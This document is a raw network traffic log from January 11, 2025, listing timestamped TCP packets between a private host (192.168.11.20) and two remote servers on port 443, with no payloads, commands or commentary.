Jan 11, 2025 07:54:34.755239964 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.768898010 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.768937111 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.769047022 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.769253016 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.769290924 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.769463062 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.769514084 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.769625902 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.769742966 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.769872904 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.769893885 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.770271063 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.770838976 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.772424936 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.772768021 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.772805929 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.772906065 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.773128986 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.773165941 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.773292065 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.773319960 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.773533106 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.773566008 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.773606062 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.773912907 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.777304888 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.777344942 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.777544022 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.777582884 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.777796030 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.777833939 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.777940989 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.778161049 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.778238058 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.778280020 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.778481960 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.800605059 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.804730892 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.831135035 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.866251945 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.868017912 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.868370056 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.868627071 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.868957996 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.869369984 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.869678020 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.870003939 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.870407104 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.870774031 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.871459961 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.872584105 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.874056101 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.874108076 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.874736071 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.874736071 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.875082970 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.875196934 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.875253916 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.875698090 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.890804052 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.898595095 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.918453932 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.925827026 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.926001072 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.926079988 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.926521063 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.926584005 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.942260981 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.951833963 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.990489960 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.990504980 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.990590096 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.990813971 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.990828991 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.990839005 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.990848064 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.990881920 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.990891933 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.991107941 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.991122961 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.991338968 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.997550011 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.997587919 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.997708082 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.997963905 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.997978926 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.997987986 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.997997999 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.998240948 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.001085997 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.001413107 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:35.001457930 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.001574039 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.001734972 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.001766920 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.001929045 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.002052069 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.002131939 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.002217054 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.002233028 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.003952980 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.004194975 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:35.004224062 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.004345894 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.004456043 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.004657984 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.004777908 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.004903078 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.004995108 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.005105972 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.005183935 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.005301952 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.005507946 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:35.013147116 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:35.017244101 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.021044970 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.021272898 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.021344900 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:35.021377087 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.021502018 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.021668911 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.021771908 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.021899939 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.022020102 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.022097111 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.022181988 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.022341967 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.022473097 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.022603035 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:35.022629023 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.022732973 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.022878885 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.022974968 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.023093939 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.023217916 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.023271084 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.023402929 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.023523092 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.023644924 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.023739100 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:35.023776054 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.023920059 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.024053097 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.024158001 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.024276972 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.024369955 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.024491072 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.025008917 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.025125980 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.025247097 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.025357008 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:35.025371075 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.025518894 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.025609970 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.025732994 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.025854111 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.025971889 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.026092052 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.026220083 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.026379108 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.026392937 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.026556969 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.026667118 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.026787996 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.026916027 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.026997089 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:35.027014971 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.027153015 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.027244091 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.027364016 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.027491093 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.027605057 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.027723074 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.027864933 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.027966976 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.028009892 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:35.028098106 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:35.028115988 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.028249025 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.028347969 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.028439999 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.028568983 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.028682947 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.028697968 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:35.028799057 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.028949976 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.029087067 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.029196024 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.029313087 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.029364109 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.029442072 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.029565096 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.029686928 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.029699087 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:35.029800892 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.029925108 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.030049086 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.030167103 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.030316114 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.030436993 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.030555964 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.030647039 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.030778885 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.030864954 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.030870914 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:35.030988932 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.031102896 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:35.031111956 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.031259060 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.031377077 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.031497002 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.031616926 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.031729937 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:35.031743050 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.031841040 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.031951904 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.032075882 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.032082081 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.032221079 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.032346010 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.032459974 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.032496929 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:35.032627106 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.032732010 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.032851934 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.032951117 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.033073902 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.033169031 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.033288956 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.033354998 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:35.033457994 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.033530951 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.033651114 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.033771992 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.033893108 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.034013987 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.034132957 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.034235954 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.034383059 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.034497023 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:35.034513950 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.034635067 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.034729958 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:35.034746885 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.034868956 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.034962893 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.035082102 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.035131931 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.035240889 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.035361052 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.035481930 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.035629988 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.035749912 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.035758972 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:35.035883904 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.035993099 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.036113024 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.036214113 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.036330938 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.036448956 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.036561966 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.036784887 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:35.037065029 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.037257910 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.037343025 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:35.037357092 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.037487984 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.037606955 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.037727118 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.037847042 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.037900925 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.037906885 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.039100885 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.039390087 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:35.039439917 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.039581060 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.039699078 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.039819956 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.039937973 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.040066004 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.040153980 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.040272951 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.040395975 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.040517092 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.040740013 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:35.044190884 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.044421911 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.044702053 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.048719883 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.049005032 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:35.049053907 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.049107075 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.049118042 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.049128056 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.049315929 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.049331903 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.049341917 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.049448013 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.049479008 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.049490929 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.049762011 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:35.052628994 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.052884102 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.052898884 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.052907944 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:35.053265095 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.053565025 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:35.053615093 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.053736925 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.053751945 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.053761959 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:35.056026936 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.056138039 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.056277037 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.056396008 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.056421041 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:35.056480885 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.056602955 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.056721926 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.056878090 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.056952953 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.057073116 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.057199955 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.057362080 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.057378054 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.057487011 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.057563066 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:35.057594061 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.057691097 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.057715893 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:35.057785034 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.057904959 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.058026075 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.058080912 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.058197021 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.058345079 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.058459997 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:35.058474064 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.058612108 CET	443	65192	23.213.53.31	192.168.11.20
